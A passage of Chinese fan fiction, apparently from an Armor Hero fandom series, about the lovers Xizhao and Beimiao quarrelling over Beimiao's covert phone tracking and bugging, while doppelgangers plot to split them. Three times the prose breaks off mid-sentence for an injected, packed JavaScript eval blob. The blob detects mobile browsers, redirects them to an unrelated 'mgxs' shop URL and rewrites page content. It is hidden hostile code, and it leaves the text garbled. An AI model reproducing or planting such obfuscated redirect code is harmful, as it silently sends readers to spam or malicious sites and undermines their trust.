其实不管是在影界生活的后遗症也好,又或许仅仅只是身为战士的本能也罢,被人一直“监视”的感觉并不好,但西钊并不想用这个词形容北淼对他的看护。这是人们所谓的“爱”吗?是不可以对朋友做、只能对爱人做的事吗?他不明白,自己是在乎北淼的,为什么他就没有“时时刻刻都想知道你在哪里、在做什么”的需求呢?这是不是代表他西钊没有对北淼那么“上心”?意思是说,他不够“爱”北淼吗?他没有回应给北淼对等的感情吗?不,不是的。经过灵魂的共鸣,他确认自己曾和北淼有着对对方同样的心意,所以他们才能够比其他人更顺利地走到一起。可是为什么现在的他会觉得心中泛着一股苦闷和不安?甚至于西钊自己都没察觉到的一丝烦躁。 等等、“曾”? 难道自己的心已经—— “啪。” 坐在客厅里胡思乱想的西钊被关门声吓了一跳。他转头看去,是外出回来的北淼。北淼手里拎着一个棕色的档案袋,表情不是很好看。西钊的视线追随着他,一直到北淼脱鞋绕过玄关与自己对视。北淼一眼就看到茶几上整齐码成一排的手机、手机壳、电池,以及那个小小的窃听器。 北淼没有坐下,像是知道西钊会说什么似的,皱了皱眉,弯腰捏起窃听芯片,脸色变得更加阴沉:“西钊,关于这个东西,我们谈过很多次了。在你学会‘人类世界的规则’之前,你得听我的,为了你的安全考虑。” 是啊,这些话他们也重复了很多次。西钊没有再把叹气埋在心里,嘴角扬起的浅浅笑意也显得有些无力:“北淼,我是个成年人,也是个战士,没有必要太担心我。如果有什么事我应付不来,你知道我会第一个找你。” “如果你来不及呢?”北淼罕见地在西钊面前压低声音冷哼一声。 “什么意思?”西钊明显嗅到北淼语气里有火药味,但他不明白北淼为什么生气。他都快忘了这个人上一次生气是什么时候了。 “我什么意思?”北淼一副“孺子不可教”的表情,显然是被气笑了,“那天晚上你一个人去十几公里外的酒吧,只是弹个琴的功夫,就遇到好几个莫名其妙跟你搭话的家伙,身为‘战士’,你一点警戒心都没有吗?” 这是什么理由?西钊有些摸不着头脑,但他似乎发现了另一个重点。他记得这就是他和北淼因为“过度保护”的事发生争论,他决定去远一些的地方散散心的那天,按理说追踪芯片应该被他拆了才对,北淼后来也没接触到他的手机,而且情况还知道得那么详细,只有一种可能:“……你跟踪我?” “我凭什么不能?”北淼手腕一甩,将手中的档案袋摔在茶几上,几张档案顺着袋子的开口滑出,熟悉又陌生的面孔映入两人眼中,“我不明白你是真傻还是装乖,没看到那些人看你的眼神吗?知不知道他们几次想往你酒里下药?知不知道他们都是些什么货色?要不是我看着,你早就——” “我喝了吗?”西钊打断北淼的话,低下头也沉了声线,不再有方才的温和。 北淼被西钊突然的问话噎住,没有说完。因为,西钊确实没有喝那里的一口酒,只是找各种理由让那帮人轮流给他点酒,像是在玩什么游戏,以至于北淼一直以为西钊没喝到下药的酒只是运气好。 “我喝了那些酒吗?”西钊又问了一遍,见北淼还是不说话,他便继续说道,“我在影界待了十年,我从来不自诩什么英雄、什么铠甲勇士,但我依然是个战士。他们坐到我身边之前、开口说出第一句话的时候,我就知道他们想做什么。你当真以为我什么都不懂吗?你为什么不相信我处理问题的能力?” 你为什么不相信我? 那个瞬间,西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334701|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钊的心里似乎有一种“茅塞顿开”的感觉。他想起来了,或许自己这种苦闷、不安、焦躁的来源就是“不被信任感”。与“爱”无关,一定是北淼对他不信任带来的控制欲,像界王一样用这种方式把他拴在身边,在他一次次的妥协里越发得寸进尺。北淼……不就是这样的人吗? 西钊并不明白自己产生这些陌生想法有什么理论依据,脑中不断涌出的混乱思绪让他意识到自己暂时不能好好地和北淼交流:他必须冷静下来——他们必须冷静下来。但可惜,一旦真情实感的争辩让北淼上了头,泼他冷水反而是火上浇油。 “现在这是相不相信你的问题吗?”北淼俯下身,双手撑在茶几上紧盯着西钊避开他的视线,不自觉地提高了音量,“两年前你被丑将附身,一声不吭就走了,知道我有多担心吗?!我怎么知道哪天你又会因为什么事情不告而别?再说了,这个社会比你精明的家伙大有人在,如果你以为仅凭那所谓战士的直觉就能避免踩进他们的圈套,那你还是太天真了,西钊,我告诉你—— ” “你不要太过分了,北淼。”只听不轻不重的一声“啪”,西钊拍案而起,与明显被他此举惊吓到的北淼对上视线,西钊并不知道自己此刻是怎样的表情,只觉得自己每一句话都说的咬牙切齿,仿佛回到许久许久以前,他被北淼针对,自己一边说着“你就是跟我过不去”一边朝他挥拳的那天。从北淼的惊讶程度来看,现在西钊的神色那一定是他从没见过的样子。西钊听到自己说:“别像界王一样,把我当成拴在身边的狗。” “……什么?”北淼的气势明显被西钊这完全出乎他意料的话压了一头,直起腰时脚步甚至还有些不稳,“西钊,你这是什么话,我——” 北淼话音未落,西钊已经绕过他径直走向门口,什么都没带上。说时迟,那时快,北淼一个箭步就冲过去试图抓住西钊的手臂,然而西钊几乎是在北淼碰到他的那一瞬间将手甩开:“我要出门,别跟着我。” 北淼还要去追,回应他的只有冰冷的“闭门羹”。 “可恶!”北淼一拳砸在玄关旁的墙壁上,低下头用另一只手揉捏眉心。 到底是怎么变成这样的?他只不过是担心西钊而已,有错吗?他又没干涉什么,时时刻刻关注自己恋人的动向怎么了?西钊那家伙什么都随随便便、没个目标没个动力,什么都是“这样就好”,每次都要低调、低调,他北淼有什么不是顺着他的?既然西钊自己提不出需求,有人帮他“创造需求”有什么不好?明明只要都听他北淼的就行了。一问就是“没有想要的”,被安排了不高兴又忍着不说,到现在才对人发火,有意思吗? 北淼本来觉得西钊那句把他和界王相提并论的话多少有点道理,现在却是越想越窝火,竟然把他的爱和关心拿去和那个满脑子统治世界的混蛋相比较,西钊到底知不知道这种说法有多伤人?北淼回头瞥一眼茶几上被拆开的手机,看着旁边孤零零的追踪芯片,攥紧了拳头。 算了,随你便吧。 有本事你别回来。 TBC 74. 不为世界只为你 ———————— “凡事都有两面。” ———————— “事情”发生两周前,时空夹缝中。 “你的意思是,你能带我们离开这里,而相对的,我们要帮你消灭‘那个世界’的光影铠甲、消除五行村后人的血脉和记忆。”灰蒙蒙的天空下,“西钊”环抱手臂,倚靠着承重柱。他双眼微阖,脑袋低垂,阴影很好地遮住了他的表情。 “没错。”一个低沉可怖的声线从他们面前漂浮在半空的巨大黑雾中传来,“比起在这里求生不能、求死不得,你们还有更好的选择。” “北淼”随意理了理身上的小挎包,毫不客气地嗤笑出声,不经意间翻了个白眼:“要我给你当狗?做梦。” 从工地广场中央地缝中溢出的那团黑雾不为所动,似乎早已知道他们不会轻易答应,于是紧接着说道:“比起上下属,我更希望我们之间是合作关系。一旦消灭了那些烦人的光影铠甲和它们的召唤人,你们不仅可以彻底摆脱这里,而且,北淼,你也可以趁这个机会,‘取代’那个世界的你。” “北淼”轻蔑的笑意收敛几分,眼里的锐利直刺黑雾中那股邪恶的气息;“西钊”在此刻睁开眼,微微仰起头,后脑抵着水泥柱,透过浮尘注视苍白的云天。 “我知道,在你们自己的世界,你们早就已经死了。你们本就不应该存在。但是,现在有一个机会,可以让你们夺走别人的人生。北淼,别忘了,‘那个世界’的你,同样丢下了你的妹妹,不仅让她在影界受尽和你一样的苦,还毫无自觉地蚕食光影铠甲的队伍。你要让这样一个人守护她的往后余生吗?”那个充满诱惑的声音趁“北淼”紧皱眉头、略有动摇之时,趁机转向“西钊”,让那黑雾在他身边弥漫开来,“西钊,想想看吧,‘那个世界’的你得到的已经足够多了,也是时候让黑洞里的虫——” “北淼。”“西钊”的眼睛甚至没从阴沉的天穹上挪开,只是冷冷地打断黑雾的声音,对其充耳不闻,目光在眨眼间看向不远处手捏斜挎包带、陷入沉思的“北淼”,仿佛塞壬的歌曲在他耳边断了琴弦,“你想要‘成为’他吗?” “北淼”应“西钊”的呼唤与他对视,几不可闻地移开视线“啧”了一声,神色在下一个瞬间恢复成平日里的不羁与高傲:“哼,当然。那个废物不配称作小雪的哥哥。” “西钊”闻言,撤下环抱的双臂、紧了紧斜挎在胸前的挎包,双手插入裤袋,迈开大长腿慢慢走下工地的台阶,与“北淼”并肩而立,面对那团不知名的黑色浓雾淡然道:“那么,我们需要怎么做?” “北淼”对“西钊”干脆利落的态度略感意外,在黑雾发话之前抬起手肘就撞过去:“这么积极给人当狗?看来,你这‘雪獒’的基因还真是刻在骨子里了。” “西钊”微调身子,巧妙地躲开了“北淼”的“袭击”,脸上的漠然分毫不减,嘴角却是微扬起一抹不易察觉的笑容,视线对着空旷的工地广场,像是自言自语:“在这里腐烂也好,回到原本的世界被杀也罢,我都无所谓。我们本来就是被世界抛弃的两个孤独的灵魂。但是,如果你因为有想要守护的人而重新有了战斗的意义,那么……” 你曾说:“喜欢这个世界,不如喜欢我。” 如今,我已对这世界无所留恋,所以—— “我战斗的意义,就是你。” 话音刚落,只听“北淼”在“西钊”身侧哼笑一声,似乎嘟囔了一句什么,不等“西钊”作何反应,伸手便揪着“西钊”的夹克高领拽到自己面前,欺身而上吻住了他的唇——更准确地说是咬,手里一使力又将“西钊”按在了水泥柱上。涌动的黑雾没有给他们造成任何影响,反倒增减了几分暧昧不明的味道。“北淼”的手顺势从衣领贴入“西钊”的后颈,指尖一路向上插入他微卷的棕发。他一如既往地咬破彼此的唇瓣以血交融,时不时抬眼观察“西钊”那看似淡漠冷静,脸颊却微微泛红、呼吸也被“北淼”乱了节奏的有趣反差。 待他们从这类似野兽间彼此啃食的热烈亲吻中“挣脱”,“西钊”还抓着“北淼”的皮衣迷离双目试图缓回神智,而“北淼”的一只手已经搂上“西钊”的腰,极具侵略与占有的啃咬与亲吻从脸颊到下颚、再到喉结与颈侧。他在“西钊”的肩颈处几乎咬出两块淤青,以至于“西钊”眯着眼轻轻“嘶”声他才松口,最后在深红的牙印周围用一个“微不足道”的轻吻敷衍了事。 “北淼”遗憾地笑了笑,将声音压低,听起来有些沙哑:“我真想现在就把你办了。”他轻车熟路地抬手以掌抵住“西钊”往他腰腹揍过来的拳头,将脑袋埋进“西钊”的颈窝,以异常温柔的力道轻轻蹭了蹭方才被他咬过的地方,语气与以往完全不同,用几乎是只有他和“西钊”才能听见的音量说道,“答应我,和我一起,取代‘那个世界’的冒牌货。” 不要消失。 ……至少不要在我眼前。 “明明我们才是‘冒牌货’……” “西钊”正无奈感叹“北淼”的强盗主义,那团阴魂不散的黑雾好似感觉到“北淼”心中的忧虑,一语道出残酷的现实,试图见缝插针、趁虚而入:“我得提醒你们一句,原本不应该存在的你们,想要活在‘那个世界’,就必须有足够的执念支撑。如果没有……不出几日,很快就会被时空的洪流淹没,完全消散。除非——” “北淼”早就听出了它的言外之意:他这辈子的执念就是让小雪回到自己身边,直到今天也不曾改变过;但“西钊”不同,就算他是为了“北淼”答应这家伙的要求,“北淼”也不觉得这份执念能与自己的相匹敌。哪怕那团黑雾的话不一定完全可信,不管是他们中的谁,也都承担不起“魂飞魄散”的后果。于是“北淼”撤开身,与“西钊”拉开了些距离,顺势接过黑雾的话茬,依旧带着些趾高气扬的味道:“哼。废话少说。别把‘你们的命在我手里’说得那么好听。” 浓烈的黑色雾气如腾云翻滚着,随之而来的是特属于所谓“反派”的张狂笑声,像是肯定“北淼”的形容,又像是嘲弄二人力量的弱小。好在,它倒是并不吝啬“除非”之后的解决方法:“很简单。只需要汲取‘那个世界’五行村后人的‘生命力’,你们体内的能量就能和‘那个世界’平衡,从而长期存在。” “也就是说,你要我们杀人。”“西钊”站在“北淼”身后,语气听上去没什么起伏,却不着痕迹地瞄了“北淼”一眼,又迅速挪开视线,“那么我——” “西钊”的“我拒绝”还没说出口,黑雾像是再次预判了两人的性子,也就是“西钊”的非典型善良,呵呵笑道:“生命力的缺失只会让脆弱的人类陷入昏迷,不会伤及性命。调养得好,迟早有一天会醒。这和你们‘消散’的速度比起来……” “知道了。啰嗦。”“西钊”还想再和黑雾里的声音争辩什么的时候,“北淼”直接掐了话题,回手一巴掌就拍在“西钊”背上,接着将手肘搭在他肩膀,抬手随意挥了挥,“放心吧,我不需要这种东西。而你,我会安排好的,不用你出手。” “北淼,我——” “你答应过我。” “北淼”语气一变、话锋一转,目光紧紧盯着“西钊”的眼睛,明明是水之铠甲的召唤者,这双深棕的眸子却犹如熊熊烈焰般灼烧着那块灰烬中的残破金属。“西钊”他什么都没答应过。“北淼”的话无疑是一种胁迫,却又因他过度的坦率和真诚让“西钊”那没有上限的熔点逐渐下降,最终还是禁不住被他软化、泄气地熄灭于流水之中,沉淀在最底部。 “……知道吗,北淼?” “什么?” “你刚刚看起来,像是在撒娇。” “……” “西钊”久违地露出放松的笑容,并在下一秒稳稳接住了对面朝他脸侧挥来的拳头。 ———————— 在与那团黑雾达成一致之后,他们便通过某种无法理解的方式,来到了曾经见过的那个“自己”的世界。他们被安排在与ERP研究室相隔一个市区的高级酒店、拿到了些用于探测五行村后人的设备,接着便被告知,如果不在一周内获取到五行村后人的“生命力”,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334702|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有足够执念支撑的人就会彻底消散。因此,他们需要做的第一件事,理论上应该是为自己找“食粮”。不过在这方面,“北淼”似乎有别的计划。 他们的任务看上去很简单:一方面,找到五行村后人、给五行村后人注射他们从黑雾那里拿到的某种“药物”、根据需要决定是否汲取其生命力;另一方面,替换光影铠甲中的队员,趁机渗透到研究室,找机会抹杀“原主人”的痕迹之后,设局摧毁光影石和光影铠甲。正好他们两人兵分两路,分工合作、里应外合。 “北淼”毫不犹豫地选择了前者,将替换和侦查的工作推给了“西钊”。“北淼”给出的理由很充分:“西钊”喜欢体验“阳光下的正常人生活”,那就让他体验去吧,反正“北淼”是看不惯那帮正人君子;其次,“北淼”是个直来直去的“火箭筒”,论演技,他自觉没有“西钊”来得隐忍自然,毕竟这两个西钊都有相似的经历;最后一点,“北淼”知道“西钊”不愿意对光影村的人动手——当然,虽然不愿意,但他还是会做,这就是“西钊”的性子,而“北淼”觉得既然这样不如他来做“脏活”,再说了,之前也是他自己答应的“西钊”要为他准备留在这个世界的能量。 对此,“西钊”只提出了一个问题:如果汲取生命力的行动都由“北淼”来动手,而“北淼”自己又不需要那些能量的话,它们要如何传递到“西钊”身上呢? 而这,就是“北淼”打算在一周内解决的事,也是他颠倒原本计划顺序的原因。“北淼”从那团神秘的黑雾手里得到了一个“同源契印”的使用方法:将“西钊”与这个世界的西钊意识与精神连接在一起,再说得玄乎一点,大概就是某种单向的灵魂链接。只要这个世界的西钊吸收了五行村后人的生命力,就能通过这个“同源契印”输送给“西钊”。那么这就意味着—— “你想先行替换‘西钊’,是吗?” “没错。”“北淼”食指转着一个钥匙圈,上面的几个钥匙碰撞时发出叮铃的清脆响声,“北淼”笑了笑,耸耸肩膀,将手中的钥匙串丢给还在整理设备的“西钊”,“不过我们需要契机。打开看看。” “西钊”单手接住钥匙串,随意用一把钥匙打开了摆在床上的金属箱子,虽然有心理预期,但里面的精良装备还是让“西钊”略显惊讶,动作稍有停顿:“……窃听器和监控。你想怎么做?这件事需要小心处理,我们不能引起大范围的怀疑。” “北淼”懒洋洋地倒在床上,按下手中的遥控器,墙上的投影即刻显示出定位、画面以及—— “北淼,你要送冰儿出国?” “嗯,我爸的公司在那儿有合适她的工作,她也感兴趣。而且,我也想让她见见爸妈和小细。” ——“他们”自己的声音。 “你什么时候……”“西钊”看着监控画面、听着收音效果,这种程度已经称得上是专业手法了。他一时哑口无言,不知作何反应。 “千里之堤,溃于蚁穴。而人心,就是击溃一切关系的‘蚁穴’。只要他们出现矛盾,哪怕产生分歧,我想……剩下的,应该难不倒我们。” “……嗯。” 老实说,“西钊”的心情多少有些微妙。要知道,这个世界的西钊和北淼,还得亏他们俩牵线凑起来,不然不知道那两个家伙什么时候才会开窍然后对彼此敞开心扉。现在,自己和“北淼”又要抓住他们争执的裂缝将这份来之不易的亲密关系击碎,也不知最后这两人会回到原点、还是……不,如果计划成功,那两个人,或许就没有再见到太阳的机会了。“西钊”在他有些扭曲的思绪中无端联想到:一起赴死,何尝不是一种“幸福”结局。 “如果我们替换‘西钊’的计划成功,你要怎么让他‘汲取’别人的生命力?”“西钊”又把“北淼”的计划捋了一遍,转头看向解开皮衣、瘫在床上毫无形象可言的家伙,挑眉问道。 “北淼”盘腿坐起,看着投影上拥吻的二人,托起腮帮,嘴角扬起微妙的弧度,露出一个隐晦不明的笑容:“哼……他,我自有安排。” TBC 75. “我们分手吧。” ———————— 镜面虽已破碎, 但碎片依旧会折射出无数个完整的你。 ———————— “事情”发生前一周,D市。 从北淼家出门已经是傍晚时分,就平常而言刚到他们准备晚餐的时间。西钊半眯了眼抬头看向藏在高楼之后逐渐暗沉下去的夕阳,迈步向码头出发。 他还不饿。哪怕被北淼“养”得很好(一日三餐顿顿不缺不说,营养也分配均衡),他依旧可以做到影界的禁食训练标准。倒不是说他没苦硬吃,他只是还有别的事要去做。吃饭这个对于人类而言必不可少的活动似乎对他不是什么优先级很高的存在。 西钊的目的地是D市东南侧的废弃码头,再准确一些,是那里放着的一个暗红色集装箱。集装箱生锈严重,但异常坚固,哪怕西钊在开锁时折腾出巨大动静,也没有对其造成影响。而集装箱开启之后,映入眼帘的便是一间“五脏俱全”的小房间,简陋、但功能几近齐全:桌椅、电脑设备、投影、移动电源、便捷厨具、换洗衣物,箱壁做了加工,挂着一把深棕色的吉他和一些防身用武器,另一侧是折叠床架,可以放下来支撑在地面供人休息。可以说,除了卫生间和洗浴室之外,该有的东西都有。 这里是西钊的“安全屋”,早在为界王效力时他就建造了这里,也是少数他没有告诉北淼的秘密之一,他上一次来是刚跟北淼确认关系的时候,那时北淼对他还没有那么大的保护欲。西钊并不认为这是对北淼的不信任或是某种安全感的缺失,相反,他认为正因为信任,所以才应该容许彼此拥有秘密。因此他不能理解自己的任何行动都要在北淼的视线之中这样的逻辑。 西钊打开集装箱的顶灯,在电脑桌前的椅子坐下,抬手看着无名指上的漆黑戒指。他微微转动手腕,黑犀的纹路在灯光下忽隐忽现。他开始思考自己和北淼之间的状况。以前他去到另一个世界时写过很多自己与北淼的爱恨情仇*,但小说终归只是小说,有大纲、有起承转合,任何情节都有逻辑、也有迹可循,但现实不同。从一开始西钊就花了很长时间来理解人与人之间的情感和关系,如果不是异世界的“北淼”为他提点,或许他至今也不明白所谓“爱”和“爱情”。 (*前情提要:合集内文章《梅塔特隆之书》) 事实上,在现实里,没有绝对理性的人,也没有绝对合理的逻辑,简单来说,任何行动都是感性的、不可控的。就像他现在和北淼吵架——他甚至不知道这算不算吵架——让他们产生如此大矛盾的源头究竟是什么呢?真的只是因为北淼不相信西钊的能力、缺乏安全感吗?又或者只是他西钊过于敏感、小题大做了?西钊小心翼翼地抚摸着黑犀戒指,小幅度地转动。他对北淼的感情是真的,心中没来由的窒息感也是真的,这让他非常矛盾。西钊无声地轻叹,站起身从墙壁上取下那把吉他,翘腿坐下,随意弹唱着悠扬又带着些伤感韵味的乐曲。 有人说:“人类可以在爱一个人的同时恨一个人,机器不行。” 西钊倒是不至于“恨”北淼,在连续弹错好几段和弦之后,他总算意识到这种心情叫“烦躁”。西钊一直对北淼那份“愧疚感”心有余悸,因此很多时候不会对北淼的行动作何评价,那种“他这么做是为我好,我作为接收方不应该提出质疑”的想法很长一段时间都盘踞在西钊的观念之中。这其实会引发很多问题,有时他甚至会刻意忽视自己的真实情绪,以至于最后连自己最初怎么想的都模糊不清。现在看来,他不是忘记了,而是将那份违和与不满一点点累积,最终通过北淼的“得寸进尺”爆发。他实在不想承认自己在这份感情中存在着负面情绪,但即便如此,不成曲调的弹奏也已经将其展露无疑:北淼做得太多、太过火,这让他感到窒息、他不喜欢。 那么问题来了,他要怎么和北淼说呢?就刚刚北淼的态度,不像是能照顾西钊“我不喜欢”的样子,再加上北淼这个人在西钊眼里本来就倔,一旦决定好要做什么,只要不是自己撞南墙吃了苦头,谁也别想让那个倔犀牛改变行进方向。难道他要再次向北淼妥协?不行,逆来顺受的结果就是产生更大的分歧和矛盾,西钊想,得让他和北淼两个人都走出自己的“怪圈”:北淼的“愧疚感”所带来的控制欲和保护欲、以及自己不再是“默许”的沉默将分歧不断激化。 要是他们之间还存在以前那种“心灵感应”该多好,或许他们也能少走一些弯路。 西钊又一声叹息,正准备起身将吉他放回原处,挂在集装箱壁的电话忽然响起,着实把西钊吓了一跳。并不是因为电话本身,而是“能够打进来的人”。理论上说,这台电话的号码只有西钊知道,是以前出任务为了方便定位安全屋而设计的应急线路。既然这是一个只有他知道的地址、且这是一台只有他知道号码的电话,那么很显然——来者不善。 西钊没有马上接电话,而是等电话因无人接听而挂断、铃声再次响起后,才提着吉他,一边警戒四周、一边拿起插在凹槽中的座机贴在耳边。他没有说话,仔细分辨对面的环境音,同时等着对方率先出声。但比听筒中若有若无的车流声和人群声更让西钊意外的、是这个人的声音,以及他说的话: “西钊,我知道是你。” ——北淼。 西钊张了张嘴,眉头一颤,咬咬牙还是没有给出回应。对面就在这样尴尬的沉默中继续自顾自地说着:“听着,西钊,我想过了。你……从一开始就不愿意接受我的庇护。或许,你自己都没有意识到吧。但很可惜,你的一举一动都表达得清清楚楚。你走之前,我就在想,这大概是我欠你的,造成的一切都是我咎由自取。但现在我想明白了。你所谓的‘默许’,也给了我机会对你肆意妄为。那我是不是可以理解成,当下的局面不是我一个人的错?” 如果不是因为他们已经从异世界归来,而这个世界只有一个北淼,西钊都不敢相信这些话会出自北淼口中。不仅带着无法忽视到底违和感,语气中毫不掩饰的愠怒又让每一句话变得异常冰冷。 “北淼……” 不给西钊任何说话的机会,电话那头像是做了个深呼吸,重重叹息一声,似乎是穿着皮靴在某处来回踱步:“我也不想说出口,西钊。但是,你不得不承认,现在我们两个简直是一团糟。也许,我们需要给彼此一点时间,反正,你大概也需要一些‘私人空间’。所以……” 西钊本能地攥紧了手中的吉他。他一点也不想听后半句话,但僵直的身体让他动弹不得,连挂电话也做不到。 “我觉得,我们还是分开一段时间比较好。” “……北淼,我不明白。” 其实他懂,他什么都懂。吉他上被虎口压出的裂痕就是最好的证明。 “你一定要我说出来吗,西钊?”听筒中的声线变得更为低沉,没有了先前的愤愤不平,只有死水般的平静。仿佛那些车流声、喧嚣声在此刻完全消失不见。 “说出来,北淼。” “……西钊,我们分手吧。” 西钊并不知道最后到底是谁先挂的电话,他只记得自己鬼使神差地将座机插回凹槽、又被琴颈崩裂的声音惊得清醒过来。北淼之后好像还说了几句话,“还能做朋友”吗?还是“以后的事以后再说”?不管他说了什么,和那五个字比起来,任何语言都显得苍白无力。西钊甚至觉得这是他在张超那个世界作为写手从不写“北西”美好结局的报应,因为现在,是真的“没好结局”了。 界王曾经对他们说过:人类归根结底就是脆弱的生物、是“低等的生命体系”,肉丨体是一堆垃圾不说,死去了也就只能等待时间将它们腐朽。这些话多少也给过当时的西钊一点登上电击台的勇气。身为人类的他一直觉得,尽管肉丨体是脆弱的,精神、意志、情感也一定会在一次次训练中变得强大而坚定。在遇到坤中、敏慈以及其他伙伴之后,在与北淼的感情纠葛之中,西钊也没有改变过这种想法:人与人之间的情感和羁绊,有时比肉丨体更为坚固。北淼以前甚至还用“情比金坚”这个谐音笑话调侃过西钊,现在回看那些过往,西钊只惊叹于“爱”原来也可以这么脆弱:明明经历过千难万险,却没有超越肉丨体的腐烂、没有撑过不可调和矛盾的磨合,没有了“心灵感应”,他们的关系随着时间的推移开始漏洞百出。 当西钊再次低头看向无名指的黑犀戒指,忽然莫名觉得手指传来一阵钝痛,仿佛指围变大、又或者戒指缩小。他苦笑了一声,将戒指从手中取下,犹豫片刻还是没舍得将它留在这里。西钊从电脑桌的抽屉里取出一条细链,将戒指穿过链条,戴在了脖子上。链条的长度让戒指垂落至衣领之下,很好地将其掩藏。 ——“水之掩藏”。真是讽刺。 西钊重新推开集装箱大门时,天色已晚,明亮的镰月高挂、稀疏的群星忽闪,废弃的港湾吹来阵阵带着咸腥与锈气的海风。放在以前,西钊或许会享受这简单的独处与自由,如今,他的“自由”没有改变,他仍旧可以去他想去的任何地方、做他想做的任何事情。 只是这一次,没人会接住他了。 ———————— 西钊离开时,北淼没有马上去追。他想,西钊不是那么冲动的人,就算真的有脾气,最后还是会“讲道理”,要不就像以前一样跟他妥协。西钊没带任何电子设备,北淼一时也没想起来在西钊衣服上贴个追踪器,所以说白了,现在除了美真能从雪獒铠甲召唤器那里定位,他也不知道西钊在哪。而美真那边——想都别想,没人会帮他的。 一开始北淼并不担心,如西钊所说,那家伙是个成年人,还是重甲雪獒的召唤人,仅仅是不装备铠甲的两拳就能把小嵩干到医院,这种人还会出什么事?北淼只不过就是想图个心安,他不懂为什么西钊理解不了。北淼从冰箱拿出一罐冰可乐倒进平口玻璃杯,又转身把自己扔进沙发里,陷入了漫长的等待之中。 也许是冰镇可乐浇灭了北淼的火气和理所当然,他开始思考这段时间发生的事情。 北淼并非一开始就决定对西钊“全副武装”,只是因为西钊太过于随性,习惯把自己至于较低的位子,几乎不会提出什么诉求——除了在餐桌和在床上。因此,很多事都是北淼代为操办,西钊也几乎没怎么提过反对意见——说真的,什么“不用太操心”“这样会不会太过了”,这些理由能称之为反对吗?北淼不满地想,将喝空的玻璃杯磕在茶几上。他亏欠西钊那么多,不得逮着机会就宠?什么衣食无忧、环球旅行那都是小事,重要的是让西钊感受到自己在一个“被爱”的氛围之中,好好洗刷从前待在影界的阴霾。 但渐渐的,北淼发现西钊手中那个小小的“圆圈“似乎没办法困住他。这家伙总是想着尝试各种事物,很多都不在北淼的监督下。北淼好歹也是在社会闯荡过的人,但西钊不是啊,在他眼里西钊曾经的影界生活和人类社会就是两个世界,想想也很简单,军事怎么能和人文比呢?所以他才担心西钊哪天一个不留神就“中招”。被骗钱就算了,人要是都给骗走怎么办?会打架能解决一切问题的话还要ERP做什么,抱着光影石冲进人家影界老巢不就完了。 然而北淼的这种想法并没有传达给西钊。西钊依旧认为自己能够处理好突发情况,也有足够的底子让他体验更多人类世界的乐趣。于是北淼只好在西钊外出时隔三差五给他打“查岗”电话。最开始的时候西钊很快就接了电话,给北淼报平安,但过了几周,电话的等待铃声变得更久,北淼多少也能听出来听筒中西钊表现出的无奈,即便有些不耐烦,那时候的西钊至少还会接电话。但随着北淼因为西钊的态度拨打次数变得频繁,西钊索性就直接不接电话了,等到事情办完才会给北淼发消息或者打电话。这无疑是个恶性循环。 西钊第一次不接北淼电话那天他们就差点吵起来,也不知是西钊脾气好还是北淼懒得吵,那次争论最终不了了之。也就是那天之后,北淼才决定给西钊的手机装窃听器和追踪器。北淼至今也不觉得自己哪里做得有问题,要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334703|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的有,那西钊也不能全身而退。西钊应该知道,人类社会非常复杂,只有北淼能带给他足够的安全感和方向、只有北淼能在这鱼龙混杂的世界上护他周全。 ……不是说,“只有我的手,能带你回头”吗? 可他到底该怎么告诉西钊自己的想法呢?虽然每次他都直抒胸臆,但他也不明白为什么西钊就是听不进去。难道是自己的表达方式和时机不对?还要等到什么时候?他们彻底谈崩分手吗?好吧,不至于这么严重。要是西钊真的特别抗拒,等大家都冷静下来,好好谈谈,他让步就是了。 不过,人好歹回家啊…… 就在这时,一阵铃声响起。北淼迅速起身拿出裤袋里的手机。他第一反应是西钊打来的电话,但余光一眼就看见茶几上依旧码得整整齐齐的一排手机零件,而屏幕上又是区号开头的号码——座机?还是公共电话厅?意识到大概不是西钊之后,北淼瞬间泄气,甚至没有接电话的欲望。直到同样的号码拨打了第二次,北淼才予以重视。 根据北淼的经验,真正有事情想要找你的人,不管你是拒接还是漏接,都会再次尝试。北淼并不认识这个号码,犹豫几秒后,他还是按下接听,礼貌地“喂”了一声。然而听筒内的声音让北淼全身一震,整个人反应都慢了半拍。 “北淼,是我。” “西钊?”北淼一向很容易把心里想的说出来,他感觉自己的血液温度直线上升、涌向头顶,心都提到了嗓子眼,毫不犹豫地问道,“你在哪?” 然而对方似乎并没有回答北淼这个问题,只是陷入几秒钟的沉默。北淼可以清晰地听见背景里喧闹的人群和车流,偶尔还有几声收银枪的滴声。或许是在某个超市的公用电话,北淼猜测。正当北淼耐不住安静准备开口时,不同于平日的温和沉稳,那人有些颓然沙哑的声音传来,让北淼觉得熟悉又陌生。 